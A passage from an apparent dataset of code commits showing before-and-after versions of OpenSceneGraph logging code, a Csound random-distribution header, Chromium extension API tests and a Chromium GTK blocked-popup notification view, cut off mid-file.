osg::g_NotifyLevel = osg::NOTICE;\nstd::auto_ptr<ofstream> osg::g_NotifyNulStream; \nbool osg::g_NotifyInit = false;\n\nvoid osg::setNotifyLevel(osg::NotifySeverity severity)\n{\n osg::initNotifyLevel();\n g_NotifyLevel = severity;\n}\n\n\nosg::NotifySeverity osg::getNotifyLevel()\n{\n osg::initNotifyLevel();\n return g_NotifyLevel;\n}\n\n\nbool osg::initNotifyLevel()\n{\n if (g_NotifyInit) return true;\n \n g_NotifyInit = true;\n\n \/\/ set up global notify null stream for inline notify\n#if defined(WIN32) && !defined(__CYGWIN__)\n g_NotifyNulStream = std::auto_ptr<ofstream>(osgNew std::ofstream (\"nul\"));\n#else\n g_NotifyNulStream.reset(osgNew std::ofstream (\"\/dev\/null\"));\n#endif\n\n \/\/ g_NotifyLevel\n \/\/ =============\n\n g_NotifyLevel = osg::NOTICE; \/\/ Default value\n\n char *OSGNOTIFYLEVEL=getenv(\"OSGNOTIFYLEVEL\");\n if(OSGNOTIFYLEVEL)\n {\n\n std::string stringOSGNOTIFYLEVEL(OSGNOTIFYLEVEL);\n\n \/\/ Convert to upper case\n for(std::string::iterator i=stringOSGNOTIFYLEVEL.begin();\n i!=stringOSGNOTIFYLEVEL.end();\n ++i)\n {\n *i=toupper(*i);\n }\n\n if(stringOSGNOTIFYLEVEL.find(\"ALWAYS\")!=std::string::npos) g_NotifyLevel=osg::ALWAYS;\n else if(stringOSGNOTIFYLEVEL.find(\"FATAL\")!=std::string::npos) g_NotifyLevel=osg::FATAL;\n else if(stringOSGNOTIFYLEVEL.find(\"WARN\")!=std::string::npos) g_NotifyLevel=osg::WARN;\n else if(stringOSGNOTIFYLEVEL.find(\"NOTICE\")!=std::string::npos) g_NotifyLevel=osg::NOTICE;\n else if(stringOSGNOTIFYLEVEL.find(\"INFO\")!=std::string::npos) g_NotifyLevel=osg::INFO;\n else if(stringOSGNOTIFYLEVEL.find(\"DEBUG_INFO\")!=std::string::npos) g_NotifyLevel=osg::DEBUG_INFO;\n else if(stringOSGNOTIFYLEVEL.find(\"DEBUG_FP\")!=std::string::npos) g_NotifyLevel=osg::DEBUG_FP;\n else if(stringOSGNOTIFYLEVEL.find(\"DEBUG\")!=std::string::npos) g_NotifyLevel=osg::DEBUG_INFO;\n \n }\n\n return true;\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * C S O U N D V S T\n *\n * A VST plugin version of Csound, with Python scripting.\n *\n * L I C E N S E\n *\n * This software is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This software is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this software; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\/\n#ifndef RANDOM_H\n#define RANDOM_H\n#if defined(_MSC_VER) && !defined(__GNUC__)\n#pragma warning (disable:4786)\n#endif\n\n#include \"Platform.hpp\"\n#ifdef SWIG\n%module CsoundAC\n%{\n#include \"Node.hpp\"\n#include <boost\/random.hpp>\n#include <boost\/random\/variate_generator.hpp>\n#include <cmath>\n %}\n#else\n#include \"Node.hpp\"\n#include <boost\/random.hpp>\n#include <boost\/random\/variate_generator.hpp>\n#include <cmath>\nusing namespace boost::numeric;\n#endif\n\nnamespace csound\n{\n\n \/**\n * A random value will be sampled from the specified distribution,\n * translated and scaled as specified,\n * and set in the specified row and column of the local coordinates.\n * The resulting matrix will be used in place of the local coordinates\n * when traversing the music graph.\n * If eventCount is greater than zero, a new event will be created\n * for each of eventCount samples,\n * which will be transformed by the newly sampled local coordinates.\n *\/\n class SILENCE_PUBLIC Random :\n public Node\n {\n protected:\n#if !defined(SWIG)\n void *generator_;\n boost::variate_generator<boost::mt19937, boost::uniform_smallint<> > *uniform_smallint_generator;\n boost::variate_generator<boost::mt19937, boost::uniform_int<> > *uniform_int_generator;\n boost::variate_generator<boost::mt19937, boost::uniform_real<> > *uniform_real_generator;\n boost::variate_generator<boost::mt19937, boost::bernoulli_distribution<> > *bernoulli_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::geometric_distribution<> > *geometric_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::triangle_distribution<> > *triangle_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::exponential_distribution<> > *exponential_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::normal_distribution<> > *normal_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::lognormal_distribution<> > *lognormal_distribution_generator;\n public:\n static boost::mt19937 mersenneTwister;\n#endif\n std::string distribution;\n int row;\n int column;\n int eventCount;\n bool incrementTime;\n double minimum;\n double maximum;\n double q;\n double a;\n double b;\n double c;\n double Lambda;\n double mean;\n double sigma;\n Random();\n virtual ~Random();\n virtual double sample() const;\n virtual ublas::matrix<double> getLocalCoordinates() const;\n virtual void createDistribution(std::string distribution);\n virtual void produceOrTransform(Score &score, size_t beginAt, size_t endAt, const ublas::matrix<double> &globalCoordinates);\n static void seed(int s);\n };\n}\n#endif\n<commit_msg>Restore necessary functions to \"public\".<commit_after>\/*\n * C S O U N D V S T\n *\n * A VST plugin version of Csound, with Python scripting.\n *\n * L I C E N S E\n *\n * This software is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This software is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this software; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\/\n#ifndef RANDOM_H\n#define RANDOM_H\n\n#include \"Platform.hpp\"\n#ifdef SWIG\n%module CsoundAC\n%{\n#include \"Node.hpp\"\n %}\n#else\n#include \"Node.hpp\"\n#include <boost\/random.hpp>\n#include <boost\/random\/variate_generator.hpp>\n#include <cmath>\nusing namespace boost::numeric;\n#endif\n\nnamespace csound\n{\n\n \/**\n * A random value will be sampled from the specified distribution,\n * translated and scaled as specified,\n * and set in the specified row and column of the local coordinates.\n * The resulting matrix will be used in place of the local coordinates\n * when traversing the music graph.\n * If eventCount is greater than zero, a new event will be created\n * for each of eventCount samples,\n * which will be transformed by the newly sampled local coordinates.\n *\/\n class SILENCE_PUBLIC Random :\n public Node\n {\n protected:\n#if !defined(SWIG)\n void *generator_;\n boost::variate_generator<boost::mt19937, boost::uniform_smallint<> > *uniform_smallint_generator;\n boost::variate_generator<boost::mt19937, boost::uniform_int<> > *uniform_int_generator;\n boost::variate_generator<boost::mt19937, boost::uniform_real<> > *uniform_real_generator;\n boost::variate_generator<boost::mt19937, boost::bernoulli_distribution<> > *bernoulli_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::geometric_distribution<> > *geometric_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::triangle_distribution<> > *triangle_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::exponential_distribution<> > *exponential_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::normal_distribution<> > *normal_distribution_generator;\n boost::variate_generator<boost::mt19937, boost::lognormal_distribution<> > *lognormal_distribution_generator;\n public:\n static boost::mt19937 mersenneTwister;\n#endif\n public:\n std::string distribution;\n int row;\n int column;\n int eventCount;\n bool incrementTime;\n double minimum;\n double maximum;\n double q;\n double a;\n double b;\n double c;\n double Lambda;\n double mean;\n double sigma;\n Random();\n virtual ~Random();\n virtual double sample() const;\n virtual ublas::matrix<double> getLocalCoordinates() const;\n virtual void createDistribution(std::string distribution);\n virtual void produceOrTransform(Score &score, size_t beginAt, size_t endAt, const ublas::matrix<double> &globalCoordinates);\n static void seed(int s);\n };\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, FileAPI) {\n ASSERT_TRUE(RunExtensionTest(\"fileapi\")) << message_;\n}\n<commit_msg>mark FileAPI failing for the moment to continue triaging webkit roll.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, FAILS_FileAPI) {\n ASSERT_TRUE(RunExtensionTest(\"fileapi\")) << message_;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n\n\/\/ TODO(jcampan): http:\/\/crbug.com\/27216 disabled because failing.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, FLAKY_Storage) {\n ASSERT_TRUE(RunExtensionTest(\"storage\")) << message_;\n}\n<commit_msg>Re-enable the ExtensionApiTest.Storage test.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, Storage) {\n ASSERT_TRUE(RunExtensionTest(\"storage\")) << message_;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved. Use of this\n\/\/ source code is governed by a BSD-style license that can be found in the\n\/\/ LICENSE file.\n\n#include \"chrome\/browser\/gtk\/blocked_popup_container_view_gtk.h\"\n\n#include \"app\/gfx\/gtk_util.h\"\n#include \"app\/l10n_util.h\"\n#include \"base\/string_util.h\"\n#include \"chrome\/browser\/gtk\/custom_button.h\"\n#include \"chrome\/browser\/gtk\/gtk_chrome_button.h\"\n#include \"chrome\/browser\/gtk\/gtk_theme_provider.h\"\n#include \"chrome\/browser\/gtk\/rounded_window.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents_view_gtk.h\"\n#include \"chrome\/common\/gtk_util.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/theme_resources.h\"\n\nnamespace {\n\n\/\/ The minimal border around the edge of the notification.\nconst int kSmallPadding = 2;\n\n\/\/ Color of the gradient in the background.\nconst double kBackgroundColorTop[] = { 246.0 \/ 255, 250.0 \/ 255, 1.0 };\nconst double kBackgroundColorBottom[] = { 219.0 \/ 255, 235.0 \/ 255, 1.0 };\n\n\/\/ Rounded corner radius (in pixels).\nconst int kCornerSize = 4;\n\n} \/\/ namespace\n\n\/\/ static\nBlockedPopupContainerView* BlockedPopupContainerView::Create(\n BlockedPopupContainer* container) {\n return new BlockedPopupContainerViewGtk(container);\n}\n\nBlockedPopupContainerViewGtk::~BlockedPopupContainerViewGtk() {\n container_.Destroy();\n}\n\nTabContentsViewGtk* BlockedPopupContainerViewGtk::ContainingView() {\n return static_cast<TabContentsViewGtk*>(\n model_->GetConstrainingContents(NULL)->view());\n}\n\nvoid BlockedPopupContainerViewGtk::GetURLAndTitleForPopup(\n size_t index, string16* url, string16* title) const {\n DCHECK(url);\n DCHECK(title);\n TabContents* tab_contents = model_->GetTabContentsAt(index);\n const GURL& tab_contents_url = tab_contents->GetURL().GetOrigin();\n *url = UTF8ToUTF16(tab_contents_url.possibly_invalid_spec());\n *title = tab_contents->GetTitle();\n}\n\n\/\/ Overridden from BlockedPopupContainerView:\nvoid BlockedPopupContainerViewGtk::SetPosition() {\n \/\/ No-op. Not required with the GTK version.\n}\n\nvoid BlockedPopupContainerViewGtk::ShowView() {\n \/\/ TODO(erg): Animate in.\n gtk_widget_show_all(container_.get());\n}\n\nvoid BlockedPopupContainerViewGtk::UpdateLabel() {\n size_t blocked_notices = model_->GetBlockedNoticeCount();\n size_t blocked_items = model_->GetBlockedPopupCount() + blocked_notices;\n\n GtkWidget* label = gtk_bin_get_child(GTK_BIN(menu_button_));\n if (!label) {\n label = gtk_label_new(\"\");\n gtk_container_add(GTK_CONTAINER(menu_button_), label);\n }\n\n std::string label_text;\n if (blocked_items == 0) {\n label_text = l10n_util::GetStringUTF8(IDS_POPUPS_UNBLOCKED);\n } else if (blocked_notices == 0) {\n label_text = l10n_util::GetStringFUTF8(IDS_POPUPS_BLOCKED_COUNT,\n UintToString16(blocked_items));\n } else {\n label_text = l10n_util::GetStringFUTF8(IDS_BLOCKED_NOTICE_COUNT,\n UintToString16(blocked_items));\n }\n gtk_label_set_text(GTK_LABEL(label), label_text.c_str());\n}\n\nvoid BlockedPopupContainerViewGtk::HideView() {\n \/\/ TODO(erg): Animate out.\n gtk_widget_hide(container_.get());\n}\n\nvoid BlockedPopupContainerViewGtk::Destroy() {\n ContainingView()->RemoveBlockedPopupView(this);\n delete this;\n}\n\nvoid BlockedPopupContainerViewGtk::Observe(NotificationType type,\n const NotificationSource& source,\n const NotificationDetails& details) {\n DCHECK(type == NotificationType::BROWSER_THEME_CHANGED);\n\n \/\/ Make sure the label exists (so we can change its colors).\n UpdateLabel();\n\n \/\/ Update the label's colors.\n GtkWidget* label = gtk_bin_get_child(GTK_BIN(menu_button_));\n if (theme_provider_->UseGtkTheme()) {\n gtk_util::SetLabelColor(label, NULL);\n } else {\n GdkColor color = theme_provider_->GetGdkColor(\n BrowserThemeProvider::COLOR_BOOKMARK_TEXT);\n gtk_util::SetLabelColor(label, &color);\n }\n\n GdkColor color = theme_provider_->GetBorderColor();\n gtk_util::SetRoundedWindowBorderColor(container_.get(), color);\n}\n\nbool BlockedPopupContainerViewGtk::IsCommandEnabled(int command_id) const {\n return true;\n}\n\nbool BlockedPopupContainerViewGtk::IsItemChecked(int id) const {\n \/\/ |id| should be > 0 since all index based commands have 1 added to them.\n DCHECK_GT(id, 0);\n size_t id_size_t = static_cast<size_t>(id);\n\n if (id_size_t > BlockedPopupContainer::kImpossibleNumberOfPopups) {\n id_size_t -= BlockedPopupContainer::kImpossibleNumberOfPopups + 1;\n if (id_size_t < model_->GetPopupHostCount())\n return model_->IsHostWhitelisted(id_size_t);\n }\n\n return false;\n}\n\nvoid BlockedPopupContainerViewGtk::ExecuteCommand(int id) {\n DCHECK_GT(id, 0);\n size_t id_size_t = static_cast<size_t>(id);\n\n \/\/ Is this a click on a popup?\n if (id_size_t < BlockedPopupContainer::kImpossibleNumberOfPopups) {\n model_->LaunchPopupAtIndex(id_size_t - 1);\n return;\n }\n\n \/\/ |id| shouldn't be == kImpossibleNumberOfPopups since the popups end before\n \/\/ this and the hosts start after it. (If it is used, it is as a separator.)\n DCHECK_NE(id_size_t, BlockedPopupContainer::kImpossibleNumberOfPopups);\n id_size_t -= BlockedPopupContainer::kImpossibleNumberOfPopups + 1;\n\n \/\/ Is this a click on a host?\n size_t host_count = model_->GetPopupHostCount();\n if (id_size_t < host_count) {\n model_->ToggleWhitelistingForHost(id_size_t);\n return;\n }\n\n \/\/ |id shouldn't be == host_count since this is the separator between hosts\n \/\/ and notices.\n DCHECK_NE(id_size_t, host_count);\n id_size_t -= host_count + 1;\n\n \/\/ Nothing to do for now for notices.\n}\n\nBlockedPopupContainerViewGtk::BlockedPopupContainerViewGtk(\n BlockedPopupContainer* container)\n : model_(container),\n theme_provider_(GtkThemeProvider::GetFrom(container->profile())),\n close_button_(CustomDrawButton::CloseButton(theme_provider_)) {\n Init();\n\n registrar_.Add(this,\n NotificationType::BROWSER_THEME_CHANGED,\n NotificationService::AllSources());\n theme_provider_->InitThemesFor(this);\n}\n\nvoid BlockedPopupContainerViewGtk::Init() {\n menu_button_ = theme_provider_->BuildChromeButton();\n UpdateLabel();\n g_signal_connect(menu_button_, \"clicked\",\n G_CALLBACK(OnMenuButtonClicked), this);\n\n GtkWidget* hbox = gtk_hbox_new(FALSE, 0);\n gtk_box_pack_start(GTK_BOX(hbox), menu_button_, FALSE, FALSE, kSmallPadding);\n gtk_util::CenterWidgetInHBox(hbox, close_button_->widget(), true, 0);\n g_signal_connect(close_button_->widget(), \"clicked\",\n G_CALLBACK(OnCloseButtonClicked), this);\n\n container_.Own(gtk_util::CreateGtkBorderBin(hbox, NULL,\n kSmallPadding, kSmallPadding, kSmallPadding, kSmallPadding));\n \/\/ Connect an expose signal that draws the background. Most connect before\n \/\/ the ActAsRoundedWindow one.\n g_signal_connect(container_.get(), \"expose-event\",\n G_CALLBACK(OnRoundedExposeCallback), this);\n gtk_util::ActAsRoundedWindow(\n container_.get(), gfx::kGdkBlack, kCornerSize,\n gtk_util::ROUNDED_TOP_LEFT | gtk_util::ROUNDED_TOP_RIGHT,\n gtk_util::BORDER_LEFT | gtk_util::BORDER_TOP | gtk_util::BORDER_RIGHT);\n\n ContainingView()->AttachBlockedPopupView(this);\n}\n\nvoid BlockedPopupContainerViewGtk::OnMenuButtonClicked(\n GtkButton *button, BlockedPopupContainerViewGtk* container) {\n container->launch_menu_.reset(new MenuGtk(container, false));\n\n \/\/ Set items 1 .. popup_count as individual popups.\n size_t popup_count = container->model_->GetBlockedPopupCount();\n for (size_t i = 0; i < popup_count; ++i) {\n string16 url, title;\n container->GetURLAndTitleForPopup(i, &url, &title);\n \/\/ We can't just use the index into container_ here because Menu reserves\n \/\/ the value 0 as the nop command.\n container->launch_menu_->AppendMenuItemWithLabel(i + 1,\n l10n_util::GetStringFUTF8(IDS_POPUP_TITLE_FORMAT, url, title));\n }\n\n \/\/ Set items (kImpossibleNumberOfPopups + 1) ..\n \/\/ (kImpossibleNumberOfPopups + hosts.size()) as hosts.\n std::vector<std::string> hosts(container->model_->GetHosts());\n if (!hosts.empty() && (popup_count > 0))\n container->launch_menu_->AppendSeparator();\n size_t first_host = BlockedPopupContainer::kImpossibleNumberOfPopups + 1;\n for (size_t i = 0; i < hosts.size(); ++i) {\n container->launch_menu_->AppendCheckMenuItemWithLabel(first_host + i,\n l10n_util::GetStringFUTF8(IDS_POPUP_HOST_FORMAT,\n UTF8ToUTF16(hosts[i])));\n }\n\n \/\/ Set items (kImpossibleNumberOfPopups + hosts.size() + 2) ..\n \/\/ (kImpossibleNumberOfPopups + hosts.size() + 1 + notice_count) as notices.\n size_t notice_count = container->model_->GetBlockedNoticeCount();\n if (notice_count && (!hosts.empty() || (popup_count > 0)))\n container->launch_menu_->AppendSeparator();\n size_t first_notice = first_host + hosts.size() + 1;\n for (size_t i = 0; i < notice_count; ++i) {\n std::string host;\n string16 reason;\n container->model_->GetHostAndReasonForNotice(i, &host, &reason);\n container->launch_menu_->AppendMenuItemWithLabel(first_notice + i,\n l10n_util::GetStringFUTF8(IDS_NOTICE_TITLE_FORMAT, UTF8ToUTF16(host),\n reason));\n }\n\n container->launch_menu_->PopupAsContext(gtk_get_current_event_time());\n}\n\nvoid BlockedPopupContainerViewGtk::OnCloseButtonClicked(\n GtkButton *button, BlockedPopupContainerViewGtk* container) {\n container->model_->set_dismissed();\n container->model_->CloseAll();\n}\n\ngboolean BlockedPopupContainerViewGtk::OnRoundedExposeCallback(\n GtkWidget* widget, GdkEventExpose* event,\n BlockedPopupContainerViewGtk* container) {\n if (!container->theme_provider_->UseGtkTheme()) {\n int width = widget->allocation.width;\n int height = widget->allocation.height;\n\n \/\/ Clip to our damage rect.\n cairo_t* cr = gdk_cairo_create(GDK_DRAWABLE(event->window));\n cairo_rectangle(cr, event->area.x, event->area.y,\n event->area.width, event->area.height);\n cairo_clip(cr);\n\n \/\/ TODO(erg): We draw the gradient background only when GTK themes are\n \/\/ off. This isn't a perfect solution as this isn't themed! The views\n \/\/ version doesn't appear to be themed either, so at least for now,\n \/\/ constants are OK.\n int half_width = width \/ 2;\n cairo_pattern_t* pattern = cairo_pattern_create_linear(\n half_width, 0, half_width, height);\n cairo_pattern_add_color_stop_rgb(\n pattern, 0.0,\n kBackgroundColorTop[0], kBackgroundColorTop[1], kBackgroundColorTop[2]);\n cairo_pattern_add_color_stop_rgb(\n pattern, 1.0,\n kBackgroundColorBottom[0], kBackgroundColorBottom[1],\n kBackgroundColorBottom[2]);\n cairo_set_source(cr, pattern);\n cairo_paint(cr);\n cairo_pattern_destroy(pattern);\n\n cairo_destroy(cr);\n }\n\n return FALSE;\n}\n<commit_msg>GTK: The blocked popup notification should obey chrome themes.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved. Use of this\n\/\/ source code is governed by a BSD-style license that can be found in the\n\/\/ LICENSE file.\n\n#include \"chrome\/browser\/gtk\/blocked_popup_container_view_gtk.h\"\n\n#include \"app\/gfx\/gtk_util.h\"\n#include \"app\/l10n_util.h\"\n#include \"base\/string_util.h\"\n#include \"chrome\/browser\/gtk\/custom_button.h\"\n#include \"chrome\/browser\/gtk\/gtk_chrome_button.h\"\n#include \"chrome\/browser\/gtk\/gtk_theme_provider.h\"\n#include \"chrome\/browser\/gtk\/rounded_window.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents_view_gtk.h\"\n#include \"chrome\/common\/gtk_util.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/theme_resources.h\"\n\nnamespace {\n\n\/\/ The minimal border around the edge of the notification.\nconst int kSmallPadding = 2;\n\n\/\/ Color of the gradient in the background.\nconst double kBackgroundColorTop[] = { 246.0 \/ 255, 250.0 \/ 255, 1.0 };\nconst double kBackgroundColorBottom[] = { 219.0 \/ 255, 235.0 \/ 255, 1.0 };\n\n\/\/ Rounded corner radius (in pixels).\nconst int kCornerSize = 4;\n\n} \/\/ namespace\n\n\/\/ static\nBlockedPopupContainerView* BlockedPopupContainerView::Create(\n BlockedPopupContainer* container) {\n return new BlockedPopupContainerViewGtk(container);\n}\n\nBlockedPopupContainerViewGtk::~BlockedPopupContainerViewGtk() {\n container_.Destroy();\n}\n\nTabContentsViewGtk* BlockedPopupContainerViewGtk::ContainingView() {\n return static_cast<TabContentsViewGtk*>(\n model_->GetConstrainingContents(NULL)->view());\n}\n\nvoid BlockedPopupContainerViewGtk::GetURLAndTitleForPopup(\n size_t index, string16* url, string16* title) const {\n DCHECK(url);\n DCHECK(title);\n TabContents* tab_contents = model_->GetTabContentsAt(index);\n const GURL& tab_contents_url = tab_contents->GetURL().GetOrigin();\n *url = UTF8ToUTF16(tab_contents_url.possibly_invalid_spec());\n *title = tab_contents->GetTitle();\n}\n\n\/\/ Overridden from BlockedPopupContainerView:\nvoid BlockedPopupContainerViewGtk::SetPosition() {\n \/\/ No-op. Not required with the GTK version.\n}\n\nvoid BlockedPopupContainerViewGtk::ShowView() {\n \/\/ TODO(erg): Animate in.\n gtk_widget_show_all(container_.get());\n}\n\nvoid BlockedPopupContainerViewGtk::UpdateLabel() {\n size_t blocked_notices = model_->GetBlockedNoticeCount();\n size_t blocked_items = model_->GetBlockedPopupCount() + blocked_notices;\n\n GtkWidget* label = gtk_bin_get_child(GTK_BIN(menu_button_));\n if (!label) {\n label = gtk_label_new(\"\");\n gtk_container_add(GTK_CONTAINER(menu_button_), label);\n }\n\n std::string label_text;\n if (blocked_items == 0) {\n label_text = l10n_util::GetStringUTF8(IDS_POPUPS_UNBLOCKED);\n } else if (blocked_notices == 0) {\n label_text = l10n_util::GetStringFUTF8(IDS_POPUPS_BLOCKED_COUNT,\n UintToString16(blocked_items));\n } else {\n label_text = l10n_util::GetStringFUTF8(IDS_BLOCKED_NOTICE_COUNT,\n UintToString16(blocked_items));\n }\n gtk_label_set_text(GTK_LABEL(label), label_text.c_str());\n}\n\nvoid BlockedPopupContainerViewGtk::HideView() {\n \/\/ TODO(erg): Animate out.\n gtk_widget_hide(container_.get());\n}\n\nvoid BlockedPopupContainerViewGtk::Destroy() {\n ContainingView()->RemoveBlockedPopupView(this);\n delete this;\n}\n\nvoid BlockedPopupContainerViewGtk::Observe(NotificationType type,\n const NotificationSource& source,\n const NotificationDetails& details) {\n DCHECK(type == NotificationType::BROWSER_THEME_CHANGED);\n\n \/\/ Make sure the label exists (so we can change its colors).\n UpdateLabel();\n\n \/\/ Update the label's colors.\n GtkWidget* label = gtk_bin_get_child(GTK_BIN(menu_button_));\n if (theme_provider_->UseGtkTheme()) {\n gtk_util::SetLabelColor(label, NULL);\n } else {\n GdkColor color = theme_provider_->GetGdkColor(\n BrowserThemeProvider::COLOR_BOOKMARK_TEXT);\n gtk_util::SetLabelColor(label, &color);\n }\n\n GdkColor color = theme_provider_->GetBorderColor();\n gtk_util::SetRoundedWindowBorderColor(container_.get(), color);\n}\n\nbool BlockedPopupContainerViewGtk::IsCommandEnabled(int command_id) const {\n return true;\n}\n\nbool BlockedPopupContainerViewGtk::IsItemChecked(int id) const {\n \/\/ |id| should be > 0 since all index based commands have 1 added to them.\n DCHECK_GT(id, 0);\n size_t id_size_t = static_cast<size_t>(id);\n\n if (id_size_t > BlockedPopupContainer::kImpossibleNumberOfPopups) {\n id_size_t -= BlockedPopupContainer::kImpossibleNumberOfPopups + 1;\n if (id_size_t < model_->GetPopupHostCount())\n return model_->IsHostWhitelisted(id_size_t);\n }\n\n return false;\n}\n\nvoid BlockedPopupContainerViewGtk::ExecuteCommand(int id) {\n DCHECK_GT(id, 0);\n size_t id_size_t = static_cast<size_t>(id);\n\n \/\/ Is this a click on a popup?\n if (id_size_t < BlockedPopupContainer::kImpossibleNumberOfPopups) {\n model_->LaunchPopupAtIndex(id_size_t - 1);\n return;\n }\n\n \/\/ |id| shouldn't be == kImpossibleNumberOfPopups since the popups end before\n \/\/ this and the hosts start after it. (If it is used, it is as a separator.)\n DCHECK_NE(id_size_t, BlockedPopupContainer::kImpossibleNumberOfPopups);\n id_size_t -= BlockedPopupContainer::kImpossibleNumberOfPopups + 1;\n\n \/\/ Is this a click on a host?\n size_t host_count = model_->GetPopupHostCount();\n if (id_size_t < host_count) {\n model_->ToggleWhitelistingForHost(id_size_t);\n return;\n }\n\n \/\/ |id shouldn't be == host_count since this is the separator between hosts\n \/\/ and notices.\n DCHECK_NE(id_size_t, host_count);\n id_size_t -= host_count + 1;\n\n \/\/ Nothing to do for now for notices.\n}\n\nBlockedPopupContainerViewGtk::BlockedPopupContainerViewGtk(\n BlockedPopupContainer* container)\n : model_(container),\n theme_provider_(GtkThemeProvider::GetFrom(container->profile())),\n close_button_(CustomDrawButton::CloseButton(theme_provider_)) {\n Init();\n\n registrar_.Add(this,\n NotificationType::BROWSER_THEME_CHANGED,\n NotificationService::AllSources());\n theme_provider_->InitThemesFor(this);\n}\n\nvoid BlockedPopupContainerViewGtk::Init() {\n menu_button_ = theme_provider_->BuildChromeButton();\n UpdateLabel();\n g_signal_connect(menu_button_, \"clicked\",\n G_CALLBACK(OnMenuButtonClicked), this);\n\n GtkWidget* hbox = gtk_hbox_new(FALSE, 0);\n gtk_box_pack_start(GTK_BOX(hbox), menu_button_, FALSE, FALSE, kSmallPadding);\n gtk_util::CenterWidgetInHBox(hbox, close_button_->widget(), true, 0);\n g_signal_connect(close_button_->widget(), \"clicked\",\n G_CALLBACK(OnCloseButtonClicked), this);\n\n container_.Own(gtk_util::CreateGtkBorderBin(hbox, NULL,\n kSmallPadding, kSmallPadding, kSmallPadding, kSmallPadding));\n \/\/ Connect an expose signal that draws the background. Most connect before\n \/\/ the ActAsRoundedWindow one.\n g_signal_connect(container_.get(), \"expose-event\",\n G_CALLBACK(OnRoundedExposeCallback), this);\n gtk_util::ActAsRoundedWindow(\n container_.get(), gfx::kGdkBlack, kCornerSize,\n gtk_util::ROUNDED_TOP_LEFT | gtk_util::ROUNDED_TOP_RIGHT,\n gtk_util::BORDER_LEFT | gtk_util::BORDER_TOP | gtk_util::BORDER_RIGHT);\n\n ContainingView()->AttachBlockedPopupView(this);\n}\n\nvoid BlockedPopupContainerViewGtk::OnMenuButtonClicked(\n GtkButton *button, BlockedPopupContainerViewGtk* container) {\n container->launch_menu_.reset(new MenuGtk(container, false));\n\n \/\/ Set items 1 .. popup_count as individual popups.\n size_t popup_count = container->model_->GetBlockedPopupCount();\n for (size_t i = 0; i < popup_count; ++i) {\n string16 url, title;\n container->GetURLAndTitleForPopup(i, &url, &title);\n \/\/ We can't just use the index into container_ here because Menu reserves\n \/\/ the value 0 as the nop command.\n container->launch_menu_->AppendMenuItemWithLabel(i + 1,\n l10n_util::GetStringFUTF8(IDS_POPUP_TITLE_FORMAT, url, title));\n }\n\n \/\/ Set items (kImpossibleNumberOfPopups + 1) ..\n \/\/ (kImpossibleNumberOfPopups + hosts.size()) as hosts.\n std::vector<std::string> hosts(container->model_->GetHosts());\n if (!hosts.empty() && (popup_count > 0))\n container->launch_menu_->AppendSeparator();\n size_t first_host = BlockedPopupContainer::kImpossibleNumberOfPopups + 1;\n for (size_t i = 0; i < hosts.size(); ++i) {\n container->launch_menu_->AppendCheckMenuItemWithLabel(first_host + i,\n l10n_util::GetStringFUTF8(IDS_POPUP_HOST_FORMAT,\n UTF8ToUTF16(hosts[i])));\n }\n\n \/\/ Set items (kImpossibleNumberOfPopups + hosts.size() + 2) ..\n \/\/ 